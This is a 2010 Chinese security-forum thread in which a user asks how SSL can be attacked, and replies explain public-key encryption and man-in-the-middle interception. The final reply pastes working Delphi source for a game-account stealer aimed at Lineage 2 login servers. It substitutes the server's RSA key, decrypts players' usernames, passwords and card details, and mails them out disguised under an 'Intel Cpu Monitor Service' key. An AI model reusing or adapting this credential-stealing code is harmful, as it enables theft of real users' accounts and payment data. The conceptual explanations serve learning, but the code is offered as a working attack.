首页
社区
课程
招聘
[求助]有人对SSL了解吗?
发表于: 2010-11-24 18:13 6797

[求助]有人对SSL了解吗?

2010-11-24 18:13
6797
我对密码学一点都不了解,如果有低级错误敬请BS。

我看了一下SSL的交互过程,
第一,我认为如果我们在数据加密前就在浏览器内把数据截取并更改了呢,这个是完全有可能实现的,那么SSL是不是就没有效果了,SSL是不是只能防止在浏览器安全的情况下,使攻击者无法在外网通过一些工具都数据进行截获呢?

第二,SSL的加密和解密的算法是不是公开的?如果是的话,浏览器肯定会把加密的数据和密码一起发给服务器,如果不发密码,他们也得通过某种算法或约定来生成密码,不然服务器也解不了密,这样的话SSL也很有可能被存解(当然我是破解不了的)。我看SSL成功一次会有好几次交互,如果这N次交互的数据都被截获了,那应该就能解密了。是不是现有工具没办法对所有交互的数据进行全部捕获,或者机率非常低,导致SSL安全增高呢?


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (4)
雪    币: 1022
活跃值: (31)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
2
1、如果浏览器不安全攻击者截获了明文,再怎么加密也是徒劳。SSL只是通过对方的证书协商密钥,然后加密数据。
http://wenku.baidu.com/view/10a83d31b90d6c85ec3ac6bf.html
2、SSL的加密和解密的算法都是公开的。收集再多的数据也是不能解密的,目前的技术来讲,除非通过某些方法使其产生随机数漏洞或使用某些特殊情况下的旁路攻击。
2010-11-24 20:04
0
雪    币: 30050
活跃值: (2452)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
3
问题标题跟问题内容严重不符合啊。。。

加密解密算法一般可以分为对称加密和非对称加密。加密解密过程你可以看作是一段数学运算。

所谓对称加密,一般地说,是有一个密钥。例如,假设加密算法为:
Y(加密后数据):=X(原始数据)+3;
那么,这里3就是密钥。解密就是做相反的运算了。

非对称加密则分为可逆和不可逆。例如,MD5,就是不可逆的(并非不可逆,只是逆运算后,有无穷种可能值)。还有一种是可逆的,例如,RSA。这种算法的特点是,有公钥和私钥。数据用公钥加密后,只能用私钥解密。公钥和私钥是配对的。SSL使用的就是类似的算法。
一个简单的SSL通信过程大概如下(忽略握手之类的信息):
IE生成一对密钥,简称公钥A/私钥A。
服务器生成一对密钥,简称公钥B/私钥B。
IE将公钥A发送给服务器,同时服务器将公钥B发送给IE。这样一来,大家都拥有了对方的公钥了。
后面的通信,发送给对方的数据,都使用对方的公钥加密。这样一来,加密后的数据,因为自己也没有对应的私钥,所以只有对方能解开了。

再来说一下中间人欺骗。
假设IE与服务器之间通信,需要经过节点C,那么C是可以劫持此会话的。过程如下:
C生成公钥C和私钥C。当IE发送公钥A给服务器的时候,C拦截下来,把公钥C发给服务器。服务器发送公钥B给IE的时候,也是一样。这样一来,IE和服务器拥有的公钥都是公钥C了。然后,IE用公钥C加密数据,发送给服务器,C拦截下来,用私钥C解密。然后用公钥B加密后发送给服务器。反过来也一样。

SSL为了防止这种情况发生,一般使用数字证书。就是为了确保公钥可靠。具体细节就不详细解释了,网上资料一大把。
如果想研究SSL,建议可以通读OPENSSL的代码。如果是玩Delphi的,那么你有福了,SecureBlackbox是你不二的选择。
2010-11-25 00:44
0
雪    币: 122
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
谢谢两位的回答。

一直不知道,公钥加密,私钥解密这个常识,这样想起来很多东西都能说过去了。
2010-11-25 10:18
0
雪    币: 30050
活跃值: (2452)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
5
一定要使用证书,否则会死的很惨的.
实际上中间人欺骗是非常简单的,相当于一个透明的SSL代理而已.贴段老代码就知道了:
此代码写于2006年3月1日.估计已经失效了.但原理是一样的.

//处理一个本地连接请求

procedure TreatLocal(socket_id: pointer); stdcall;
var
  err, len: integer;
  recvbuf, sendbuf: array[0..4095] of byte;
  s: pchar;
  sd, l2sd, i: integer;
  wsa: TWSADATA;
  ThreadId: Cardinal;
  pp: TDynamicByteArray;

  hostname: string;
  server_port: integer;
  xl_hostent: phostent;
  xl_sockaddrin: TSOCKADDRIN;
  psaddr: ^longint;
  saddr: integer;
  oldlpk, lpk, encpack, userpass: array[0..$80 - 1] of byte;
  _crypt: NewCrypt;
  cardno, cardinfo, serverid: pchar;
  ti: integer;
  ts: string;

  strMailBody, strSend, strServerID, strUserName, strUserPass, strCardNO, strCardInfo: string;
begin

  //初始化blowfish
  _crypt := NewCrypt.create('_;5.]94-31==-%xT!^[$' + char(0));
  sd := integer(socket_id^);

  //------------------------------(测试用)处理Socket代理服务器请求-------------------------------
  {  err := recv(sd, recvbuf, 4096,0);
    if err>0 then
    begin
      sendbuf[0]:=$05;
      sendbuf[1]:=$00;
      send(sd,sendbuf,2,0);
    end;

    err := recv(sd, recvbuf, 4096,0);
    if err>0 then
    begin
      sendbuf[0]:=$05;
      sendbuf[1]:=$00;
      sendbuf[2]:=$00;
      sendbuf[3]:=$01;
      sendbuf[4]:=$C0;
      sendbuf[5]:=$A8;
      sendbuf[6]:=$01;
      sendbuf[7]:=$F1;
      sendbuf[8]:=$05;
      sendbuf[9]:=$56;
      send(sd,sendbuf,10,0);
    end; }
  //-------------------------------------------------------------------------------

    //连接l2官方服务器
  if WSAStartup(514, Wsa) <> 0 then //初始化Wsock32.dll
  begin
    WSACleanup();
    exit;
  end;

  server_port := 2106;
  //hostname:='auth.lineage2.com.cn';//大陆
  hostname := 'auth.lineage2.com.tw'; //台湾
  //hostname:='L2authd.Lineage2.com';//美国
  //hostname:='auth.lineage2.jp';//日本
  //hostname:='222.231.15.60';//韩国
  xl_sockaddrin.sin_port := htons(server_port);
  xl_sockaddrin.sin_family := PF_INET;
  xl_hostent := gethostbyname(PCHAR(HOSTNAME));
  if xl_hostent = nil then
  begin
    saddr := inet_addr(pchar(hostname));
    if saddr <> -1 then
      xl_sockaddrin.sin_addr.S_addr := saddr;
  end
  else
  begin
    psaddr := pointer(xl_hostent.h_addr_list^);
    xl_sockaddrin.sin_addr.S_addr := psaddr^;
  end;

  l2sd := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (l2sd = SOCKET_ERROR) then
  begin
    closesocket(sd);
    exit;
  end;
  err := connect(l2sd, xl_sockaddrin, sizeof(xl_sockaddrin));
  if (err = SOCKET_ERROR) then
  begin
    closesocket(sd);
    closesocket(l2sd);
    exit;
  end;

  //创建远程官方连接的处理线程
  //如果是非法的socket
  if (l2sd <= 0) or (sd <= 0) then exit;
  //取得本地服务器的公钥,以便替换服务器发来的公钥
  getlocalpubkey(@lpk);

  //-----------------------接收RSA密钥--------------------------
  //先读2字节,计算包长度
  err := recv(l2sd, recvbuf, 2, 0);
  if ((err) = SOCKET_ERROR) then
  begin
    closesocket(sd);
    exit;
  end;

  len := 0;
  if err > 0 then
  begin
    len := recvbuf[1] * 256 + recvbuf[0];
    sendbuf[0] := recvbuf[0];
    sendbuf[1] := recvbuf[1];
    err := recv(l2sd, recvbuf, len - 2, 0);
    if err > $90 then
    begin
      //本地转发
      //保存旧密钥
      copymemory(@oldlpk, @recvbuf[9], $80);
      //从第8字节开始替换密钥
      copymemory(@recvbuf[9], @lpk, $80);
      //把本地密钥转发出去
      copymemory(@sendbuf[2], @recvbuf, len - 2);
      send(sd, sendbuf, len, 0);
    end;
  end;
  //--------------------------------------------------------------------

  strServerID := ''; strUserName := ''; strUserPass := ''; strCardNO := ''; strCardInfo := '';

  //本地开始接收数据
  while true do
  begin
    sleep(100); //等待数据反馈,防止死锁
    //本地接收,先读2字节,计算包长度
    err := recv(sd, recvbuf, 2, 0);
    if (sd <= 0) or (err <= 0) then
    begin
      closesocket(sd);
      exit;
    end;

    if err > 0 then
    begin
      len := recvbuf[1] * 256 + recvbuf[0];
      sendbuf[0] := recvbuf[0];
      sendbuf[1] := recvbuf[1];
      err := recv(sd, recvbuf, len - 2, 0);
      if (sd <= 0) or (err <= 0) then
      begin
        closesocket(sd);
        exit;
      end;
      if err > 0 then
      begin
        setlength(pp, len - 2);
        for i := 0 to len - 2 - 1 do
          pp[i] := recvbuf[i];
        pp := _crypt.decrypt(pp);
        //            _crypt.checksum(pp);

                  //  if len=$92 then
                  //  begin
                  //    DebugBuf1('原始包',pp,len-2);
                  //  end;
                    //$00是用户名密码包 标志
        if pp[0] = $00 then
        begin
          copymemory(@encpack, @pp[1], $80);
          LocalDecodeData(@encpack, @userpass);

          //AddToMemo1(BufToStringUserPass(@userpass[4],$20,strUserName,strUserPass));
          BufToStringUserPass(@userpass[4], $20, strUserName, strUserPass);
          DebugBuf('UserPass:', @userpass[4], $20);

          //用原来的服务器公钥重新加密数据
          EncodeData(@oldlpk, @userpass[4], @encpack);
          copymemory(@pp[1], @encpack, $80);
          _crypt.checksum(pp);
          pp := _crypt.crypt(pp);
          for i := 0 to len - 2 - 1 do
            recvbuf[i] := pp[i];

        end
        else if pp[0] = $02 then //选择服务器
        begin
          if len - 2 >= 10 then
          begin
            try
              ts := inttostr(pp[9]);
              serverid := pchar(ts);
              //AddToMemo1('Server ID:'+BufToString(serverid,length(ts)));
              strServerID := BufToString(serverid, length(ts));
              DebugBuf('Server ID:', serverid, length(ts));
            except
            end;
          end;
        end
        else if (pp[0] = $06) and (len > $90) then //卡号
        begin
          copymemory(@encpack, @pp[5], $80);
          LocalDecodeCard(@encpack, @userpass);
          try
            ti := userpass[7];
            ti := (ti shl 8) + userpass[6];
            ti := (ti shl 8) + userpass[5];
            ti := (ti shl 8) + userpass[4];
            ts := inttostr(ti);
            cardinfo := pchar(ts);
            //AddToMemo1('Card Info:'+BufToString(cardinfo,length(ts)));
            strCardInfo := BufToString(cardinfo, length(ts));
            DebugBuf('Card Info:', cardinfo, length(ts));
          except
          end;

          //用原来的服务器公钥重新加密数据
          EncodeCard(@oldlpk, @userpass[4], @encpack);
          copymemory(@pp[5], @encpack, $80);
          _crypt.checksum(pp);
          //DebugBuf1('替换包',pp,len-2);
          pp := _crypt.crypt(pp);
          for i := 0 to len - 2 - 1 do
            recvbuf[i] := pp[i];
        end;

        //转发官方
        copymemory(@sendbuf[2], @recvbuf, len - 2);
        send(l2sd, sendbuf, len, 0);

        //接受官方数据
        sleep(100); //等待数据反馈,如果数据有误,官方会断开,防止死锁

        //先读2字节,计算包长度
        err := recv(l2sd, recvbuf, 2, 0);
        if (l2sd <= 0) or (err <= 0) then
        begin
          //socket连接错误
          if err = SOCKET_ERROR then
          begin
          end;
          closesocket(l2sd);
          exit;
        end;

        if err > 0 then
        begin
          len := recvbuf[1] * 256 + recvbuf[0];
          sendbuf[0] := recvbuf[0];
          sendbuf[1] := recvbuf[1];
          //接受官方数据
          err := recv(l2sd, recvbuf, len - 2, 0);
          if (l2sd <= 0) or (err <= 0) then
          begin
            //socket连接错误
            if err = SOCKET_ERROR then
            begin
            end;
            closesocket(l2sd);
            exit;
          end;

          if err > 0 then
          begin
            setlength(pp, len - 2);
            for i := 0 to len - 2 - 1 do
              pp[i] := recvbuf[i];
            pp := _crypt.decrypt(pp);

            if pp[0] = $07 then
            begin
              //AddToMemo1('Login Succ!');
              strMailBody := 'Server ID:' + strServerID + #$0D#$0A +
                'UserName:' + strUserName + #$0D#$0A +
                'Password:' + strUserPass + #$0D#$0A;
              if strCardNO <> '' then strMailBody := strMailBody + 'CardNO:' + strCardNO + #$0D#$0A;
              if strCardInfo <> '' then strMailBody := strMailBody + 'CardInfo:' + strCardInfo + #$0D#$0A;
              strSend := My_KeyEncryp(strMailBody, 'Intel Cpu Monitor Service');
              SendMail_T2(strSend);
              DebugBuf('登陆成功!', 'so happy!', 9)
            end
            else if pp[0] = $0A then
            begin
              try
                ts := inttostr(pp[5]);
                cardno := pchar(ts);
                //AddToMemo1('Card NO:'+BufToString(cardno,length(ts)));
                strCardNO := BufToString(cardno, length(ts));
                DebugBuf('Card NO.:', cardno, length(ts));
              except
              end;
            end;
            //转发本地
            copymemory(@sendbuf[2], @recvbuf, err);
            send(sd, sendbuf, len, 0);
          end;
        end;
      end;
    end;
  end;
  _crypt.Free;
end;
2010-11-27 18:38
0
游客
登录 | 注册 方可回帖
返回
//